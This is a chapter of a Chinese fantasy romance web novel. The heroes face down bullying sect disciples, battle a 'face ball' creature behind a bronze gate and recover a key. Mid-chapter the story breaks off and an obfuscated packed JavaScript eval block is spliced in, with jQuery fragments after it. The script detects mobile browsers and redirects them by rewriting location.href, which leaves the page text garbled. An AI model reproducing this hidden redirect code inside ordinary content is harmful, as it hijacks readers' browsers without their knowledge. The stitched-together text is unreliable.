64.第六十四章

作品:《本公子天下无双

    迷迷糊糊醒来,零碎树影遮住了耀眼的光,谢照乘缓了会儿不太清醒地问:“什么时辰了?”


    “未时。”


    “哦。”他又闭上眼,突然反应过来竟然睡了这么久。


    糟糕,他们莫不是丢下自己出发了?


    他慌慌张张地坐起来,大概是真的累了睡得乌七八糟,不止衣服皱巴头发一圈圈炸在脑后。


    可惜谢公子对此浑然不觉,在看到霍不染后还狐疑道:“你这是已经回来了还是没走?”


    “还没走。”霍不染的目光掠过翘起的发丝,不动声色道。


    谢公子满意地打了个哈欠,“看你睡眼惺忪的样子,快去收拾收拾。”


    “嗯。”


    她走得挺快,谢照乘惊讶道:“她何时如此爱美了。”


    他也不甘示弱地掏出小铜镜,镜子里出现一个头顶绿叶披头散发的鬼。


    铜镜猛地落在榻上。


    ……何方妖孽?


    谢照乘把自己打理干净后,恨恨走向故作深沉的某人。


    他“哒哒哒”敲了三下地面,等人看过来才佯装忙碌,“宁满他们呢?”


    霍不染看着他后面挂的一串树叶,默了默还是说道:“你的衣服……”


    “锦衣坊新品。”


    “……”


    谢照乘不经意转了圈展示新衣,敲着竹竿探头探脑,“人都去哪里了?”


    背后的树枝随风飘荡。


    霍不染的目光不由自主跟着转了圈,身侧的手指蠢蠢欲动。


    “你醒啦!”


    小红豆推门走来身后还跟着宁满,二人灰头土脸像是去山上疯玩回来的小狗子。


    宁满依旧在讨还他的金丝线,那可是娘亲留下给儿媳的遗物怎么可以被这偷药贼抢了。


    小红豆灵活地拐入厨房拿出三只木罐子。


    “这里面装了红豆,你们如果遇到危险用它可以拖延时间。”她递过来又强调,“只有这些了,省着点用啊。”


    院中的红豆树已经变得光秃秃,除了树下的一篮子红豆外这是全部家当了。


    “这罐子也太难闻了吧。”宁满嫌弃地捂住鼻子。


    “还我。”


    宁满立刻系在腰带上,想想不放心还打了死结。


    另一边谢照乘犹豫地看着手中的罐子,小红豆姑娘勤俭节约拿的家中闲置的罐子装的红豆,别人的微微有种霉味而他的还带着点酸臭味。


    他犹豫了半天,还是很难在新衣服挂上此物。


    趁着他犹豫,霍不染迅速出手抽掉挂着的树枝。


    身后一痒,谢照乘莫名望过去,看到人依旧淡然只好怀疑自己眼花。


    “走吧。”与爷爷道别后的小红豆率先走在前面带路,“这里有条近道可以通向崖底,除了我可没人知道。”


    一路无言,路越走越静却依旧没有看到青铜门。


    宁满抹了把汗,看着前面左顾右盼的小红豆一语道破,“你莫不是迷路了?”


    “当然没有。”小红豆不再犹豫,指着右边昂首挺胸道:“走这里。”


    三人乖乖跟上,然后迷路了。


    小红豆的头越埋越低最后贴到了胸口上。


    宁满当即像只斗鸡指着她。


    二人鸡飞蛋打,霍不染只好停下脚步以免误伤。


    走了这么久,谢照乘倒是没喊过累,大概是下午睡得打起小呼噜现在额外有力。


    只听竹竿一会儿在东响起,一会儿又出现在西侧。


    忙忙碌碌,像只刚出笼的小鸡。


    霍不染本想靠着树干休息会儿,还没闭眼袖子便被人扯住了。


    “我听到有水声。”谢照乘道:“你与我去打点水。”


    霍不染看了眼还在争执的二人,陪他拐入小道。


    溪水不远,二人沿着松软的泥土走了会儿便看到一条清澈的小溪。


    溪水里竖着块一丈高的无名碑,碑上只有一字:河。


    谢照乘当即乐道:“好河。”


    因他腿脚不便,走到溪边就不再动了。


    霍不染给他舀了一叶水,还未喝两口就听有人道:“杂种。”


    “……”谢公子一口水卡在喉咙里。


    “狗杂种。”那人又骂了声,伴随着脚步声有人摔倒在地。


    “我不是。”摔倒的人低低回道。


    “还敢回嘴!”那人又道:“要不是遇到你,小爷我今日能这么背?”


    又踹了两脚,继续骂道:“克娘克爹的玩意儿,不好好在祠堂呆着跑出来坏老子气运。”


    拳打脚踢一番,身旁的青衣人象征性拦了下。“陈师兄,莫要与他一般见识。”


    陈师兄扬了下眉,粗声道:“怎么?你倒是顾念同门之谊,可知有多少人在背后笑你们青山派。”


    青衣人默了下,“他毕竟是我派弟子,眼下还有任务在身打得重了难免会被责罚。况且若让怀肆师兄知道了,盟主那里恐怕不好交代。”


    陈师兄当即怒道:“怀肆算个什么东西!小门小派出来也敢在盟主面前晃,还真以为像条狗殷勤就能让盟主把位子传给他?”


    “陈师兄说笑。谁不知飘邈派在你的带领下已是百川盟第一大派,若要传位自当非你莫属。”


    陈师兄听了面露喜色,不免得意起来,“等盟主夺得化骨箭,我们百川盟自然也会跻身修仙大派。到时有元真教撑腰谁还敢看不起我们。”


    “……元真教?”


    陈师兄惊觉失言,立刻又踹了两脚拔出剑来,“让我捅两个窟窿解解气,你若有胆子尽管去告人。”


    说罢手腕一翻,当胸刺去。


    “嗙”一声,叶子裹着水打散剑招。


    朝旁看去,两人从石碑后面出来。女子身姿挺拔容貌清雅,虽然握着把锈铁也自有风姿气度。


    男子拄着拐杖,面上带笑一双眼总是半垂着看人,仿若天生便高人一等。


    “今日天气不错。”谢照乘道:“二位师兄也是来这里踏青的?”


    陈师兄知道盟主对二人颇为看重,收了戾气扯出一个笑,“这里景色不错,二位好兴致。”


    “然也。”谢照乘点头道:“景不错,可惜有恶狗。”


    “哦?山里荒凉,保不齐会有这种杂种。”


    “师兄说的是。”谢照乘道:“我刚还听恶狗口吐人言,说着什么杂种杂种,也不知在骂谁。”


    陈师兄僵了僵,脸色当即沉了下来。


    身后的青衣人见状,出声道:“在下青川乃青山派大弟子,与陈师兄饭后消食来山里转悠没想到遇到二位。现在天色不早,不如一起下山?”


    “青师兄。”谢照乘笑道:“几日相处竟不知青山派除了怀肆兄还有其余师兄。”


    青川沉郁地看着他,“谢公子毕竟是外人,不清楚也不足为奇。”


    谢照乘却像没看到二人目光,走到白几身边,“你怎么还在水中,莫不是被恶狗咬了?”


    陈师兄听他一口一个恶狗,压不住火挥剑而出却被打在手腕上,剑打旋脱手飞出。


    没人看清霍不染什么时候出手,锈铁一勾把剑稳稳抓在手上。


    她明明在三步远安静站着,竟然卸了他的剑。


    “师兄。”霍不染递过去,“你的剑。”


    陈师兄紧盯着她,这女娃身手不错但如果比拼灵力他未必会输。


    手握在剑上,灵力灌入趁她不备刺去。


    “唔!”翻手一看,竟不知何时掌心灼热冒出水泡。


    “啊呀呀。”谢照乘摸了摸腰间,“我辛苦熬制的沸水散怎么去了你们那里,莫慌我有解药。”


    他摸出一物,二人立刻躲避。


    “你们躲什么,这二等灵草难道还有毒?来来来,你们回去洗干净手把灵草剪碎敷在上面,不出一会儿就会好了。”


    “……”


    目送二人离去后,霍不染问道:“当真是解药?”


    “自然。”


    只不过应该及时敷上,如果沾了水伤口便会奇痒难耐,再敷上药后又疼又痒只会脱层皮。


    “多谢。”白几爬起来低声道。


    “白几兄,你——”


    “喂!你们怎么躲到了这里?”


    抬头看去竟是小红豆从林中跑来,“你们两个不声不响竟然到这里快活来了!走了这么久有水喝也不叫上我。”


    她趴在溪边喝了个饱,抬眼却觉得这里熟悉。


    等看到那块指溪为河的石碑后,兴奋道:“到了到了!前头不远处便是青铜门!”


    小红豆终于找到了路,立刻撒丫子跑去。


    谢照乘回头对白几道:“你先回去吧。”


    “你们是去青铜门?”白几突然问道。


    见几人盯着自己,他局促道:“那天晚上在窗外我不是有意偷听……”


    “我们打算再去会会那个人脸球。”谢照乘也不瞒他,“今晚恐怕也得劳烦你独自呆在祠堂了。”


    白几没有马上回话。低头想了会儿,突然下定决心。


    “我可以和你们一起去吗?”今日得罪了陈师兄他定不会善罢甘休,现在跟在他们身边反而更安全。


    “不行。”小红豆道:“我可没有多余的红豆分给你。”


    见白几面上困惑,她刚想解释却被谢照乘打断,“白几加入倒是未尝不可。”


    他看向霍不染,后者默契地点了下头。


    “好吧,你们说什么便是什么。”


    四人变五人,终于在傍晚抵达青铜门口。


    谢照乘杵了下竹竿,吸引所有人目光。


    竿子把霍不染和白几拨到一侧,“钥匙定是丢在木门附近,进去后你们二人吸引人脸球火力,我们则趁机寻找。”


    他环视众人,确保每人都听懂了安排。


    “牵制住人脸球,找到钥匙后我们便撤。”


    “好。”


    谢照乘满意地点了下头,转头看向默然不语的霍不染。


    “想办法杀了人脸球。”霍不染一语惊人,三言两语对谢照乘的安排稍作改变。


    “你们二人全力寻钥匙,白几与我牵制人脸球。中途寻找其弱点,将其制服。”


    “我呢?”谢照乘道。


    “在旁观察局势,以便我们随时撤退。”


    接下来一路谢照乘都在琢磨如何才叫观察局势,反复把话咀嚼几遍慢慢被他觉出味来,霍不染的重点不是在观察局势是让他往一边站吧?


    “我怎么觉得后背凉飕飕的?”


    自从进入青铜门后,宁满总觉得身后有人在看着他,可回头又什么也没有。


    小红豆头也不回道:“亏心事做多了自然后背发凉。”


    “你个偷药贼还敢说我。”


    二人忙着互呛,没发觉身侧的霍不染脸色变得有些凝重。


    当日她刚进门也是感到有冷风环绕在身后,等到了石室内冷意愈加放大最后看到了那刻嵌满窟窿的人脸球。


    现在的宁满恐怕被它盯上了。


    要不要开口提醒?又怕宁满咋咋唬唬打草惊蛇。


    冷不丁手肘被打了下。


    “别挡路。”谢照乘不耐地把她挤到一边,隔开了她和宁满。


    当来到石室后,果然如霍不染所说其上缀满夜明珠。只是下部的普通石壁上却出现了三个大洞,透过大堆土石能看到里面甬道蜿蜒曲折,像是杂乱的头发丝交错缠绕。


    “这是谁弄的?”


    看着洞的尺寸和破坏力,答案呼之欲出。


    “人脸球?”宁满打了个寒颤,“它想拆了这里吗?”


    谢照乘看着堆在木门外的土堆,“或许他想把门掩盖起来。”


    “那它为何要挖这么多洞?”


    “这不好说。”谢照乘道:“也许是无聊也许是其他地方的土质更松软。”


    “那它现在会不会躲在其中某个洞里?”宁满在洞口小心翼翼地望了眼。


    谢照乘心道:“它恐怕正在你头顶。”


    “也许吧。”他说道:“按原计划你们去找钥匙。”


    二人不疑有他,石室被挖得一片狼藉给他们搜寻带来困难。


    两人明晃晃卖力苦寻,躲在暗处的人脸球依旧没有现身。


    谢照乘干脆让白几进入洞中查探,而自己则和霍不染呆在外头。


    站定了才觉得浑身充满酸臭味,谢照乘忍不住拿起罐子,“即使红豆没有砸中人脸球,也能把他熏死吧。”


    “谢公子。”白几从另一个石洞钻出,汗湿的头发下双眸明亮。


    “这三个洞确实是通的。”


    谢照乘听后面上浮现笑意,“我想到个法子,你们附耳过来。”</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16893610|176481||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    三人密语之际,宁满挖完一堆土。他偷偷瞄过小红豆的进度,她还在挖第一堆。


    宁满得意地赶往下一堆,挖了这么久汗水淋漓,原本凉飕飕的后背黏得难受突然想念碎云峰上的风。


    尤其是冬日吃过暖炉后往外头一站,硬邦邦的风反倒把热胀的后背吹得利索舒服。就像现在,风力虽小却每一下犹如利……刃?


    人脸球刚现身密语三人已有行动,先由白几上场。他体质特殊站得近了人脸球也只是冒出几张脸看着他并没有攻击。


    白几拘谨地笑了下,随后抄起拳头大的石堆砸去。


    “嗷!”一张脸被打得缩回去,又冒出几张怒气冲冲的脸。“嗖嗖”两下又中招。


    再弹出来的脸顶着额头的包,怒气更甚。


    当怨恨冲破界限,人脸球放弃宁满拖着黑影朝白几追去。


    早有准备的白几立即反身朝洞穴跑去,得空回头再补两下石子以确保人脸球追了过来。


    弯曲的甬道对于一人来说有些狭窄,而对于人脸球来说可谓严丝合缝。


    当白几把它引到一处通向三面的甬道口时,霍不染已在另一端等着。发现了她的人脸球滚动速度慢了些,此时白几的石子已有好一会儿没有砸过来,他的吸引力正在逐渐下降。而拿着清泉剑的霍不染似乎更能引起人脸球的怒意。


    它调转矛头冲向霍不染。


    “啪!”身后的白几抛出数块石子,每一块都堪比拳头大小打得另一半的人脸球嗷嗷直叫。


    霍不染这边已出剑挑衅,人脸球张着嘴想去咬却被另半边的球拖累着往后。


    二人一左一右牵制着人脸球,把它控在原地。


    “如何?找到没有?”石室内,谢照乘焦急地问着埋头苦挖的二人。


    “没有。”宁满抬头,他的脸上身上都是一堆泥土。


    小红豆还在寻找最后一堆泥,没空回答。


    谢照乘见搜得差不多了又怕二人坚持不住,叫上宁满前去支援。


    宁满听话地用衣服兜了一大堆石块,新仇旧恨涌上心头直接全部丢向人脸球。


    再凶狠的脸也经不住这么急赤白脸一通乱砸,人脸全都缩了起来,只留下一颗灰褐色的窟窿停在原地。


    见它不再动了,宁满有些不确定道:“死了?”


    这玩意儿也不知有没有生死之说,谢照乘不确定道:“我们试试,你们俩个退后些。”


    霍不染一剑捅去,窟窿纹丝不动,人脸也没有再出来。


    一切都安静下来,但是谢照乘却觉得有些棘手。人脸球刀枪不入,怎么才能算是把它毁了。


    “我说你们几个!”小红豆抬起头,黑乎乎的脸掩盖不了恼怒的神色,“找到现在也没发现钥匙,还有空偷懒。”


    “我们正在大战人脸球,你哪只眼睛看到偷懒了!”


    “四个人连一颗球也搞不定,钥匙呢?还有人记得找钥匙吗?”


    ……


    谢照乘揉了揉眉心,被二人吵得头皮隐隐作痛,恍惚间看着人脸球上的窟窿都有些重影。


    有人脸不甘寂寞地从里面探出,额头红肿不堪头发里还夹着一根……钥匙?


    机会实在难得,谢照乘没有多想立刻把手伸入腰间罐子掏出一把红豆撒过去。


    人脸呆呆停止不动了。


    谢照乘一把握住钥匙,冰凉的触感顶在掌心,他大声道:“钥匙在我——啊!”


    突然冒出的数张人脸衔住他的锦衣坊新品往后一缩竟然是拖着谢照乘往深处滚去。


    “宁满,白几!”霍不染率先反应过来,拔剑停顿了一下错失良机只得扑过去堪堪拉住人。


    另一头的二人也被变故打得措手不及,等反应过来石头红豆一顿招呼,人脸球却已带着二人拐入身后的甬道。


    可恶,这是一条死胡同因此他们在最初计划的时候没有把它放在眼中。人脸球极快地拖着二人一路向内,到底后又毫不停歇直接后退。


    紧随其后的宁满只能眼睁睁看着它像个巨大的石块,反复碾压地上二人。


    压成肉饼的两人此刻正在人脸球下方艰难求生。


    被拖着疾行的一路,霍不染掏出清泉剑试图反抗。剑虽然锈了但十分锋利,竟然把地面挖出了一个坑。


    土坑狭窄,霍不染侧身把谢照乘也拉入的瞬间人脸球倒转方向开始碾压。


    两人就这么嵌在土里,身上是石块轰隆隆滚落的响声,身前则是彼此擂鼓般的心跳。


    形势所迫,离得太近了。


    彼此间的呼吸就在耳畔,霍不染不习惯地动了下却被谢照乘立刻制止。


    他的力气有点重,捏在肩上的手没有收回去。


    就在刚才,生死一瞬间他似乎看清了什么。


    也许下一瞬会被压成肉泥,也许他们会闷死在这里。


    面对近在咫尺的霍不染,谢照乘没有犹豫道:“你心动了。”


    他的声音被滚动声掩盖,霍不染没有反应似乎没听到。


    谢照乘却笃定道:“患难见真情,你骗不了我。”


    他捏得重了些,吸引了她的目光。


    “刚才明明可以一剑斩断我的衣服。就和你之前斩落宁满头发一样,为何你没有?”


    霍不染无声看着他。


    谢照乘道:“下意识的动作,是不是很在乎我。”


    “没有。”霍不染把目光又投到上方,“我只是怕剑不稳。”


    下一瞬她的脖子被勾住,二人本就离得极近,谢照乘说话的气息就喷在耳侧。


    “只是这样?”


    他看着肉眼可见变红的耳垂,于黑暗中得意地笑出声。


    “霍不染,听说有个办法可以减少气息流动,要不要试试看?”


    人脸球的滑动中,谢照乘的脸慢慢放大。


    他似乎也很害羞,纤长的睫毛不安地颤抖着,却又缓慢地朝她而来。


    霍不染盯着他没有动作,当人已足够近的时候,滚动声戛然而止,她在最后一刻歪了下头。


    潮湿的触感来自耳后。


    “师姐!谢公子!”宁满害怕地闭着眼喊道:“你们怎么样了?”


    “没事。”霍不染起身,手不稳摸到身侧一物。


    “师姐?”


    “拿到了。”她垂眸看着掌心,似乎在辨认。“钥匙。”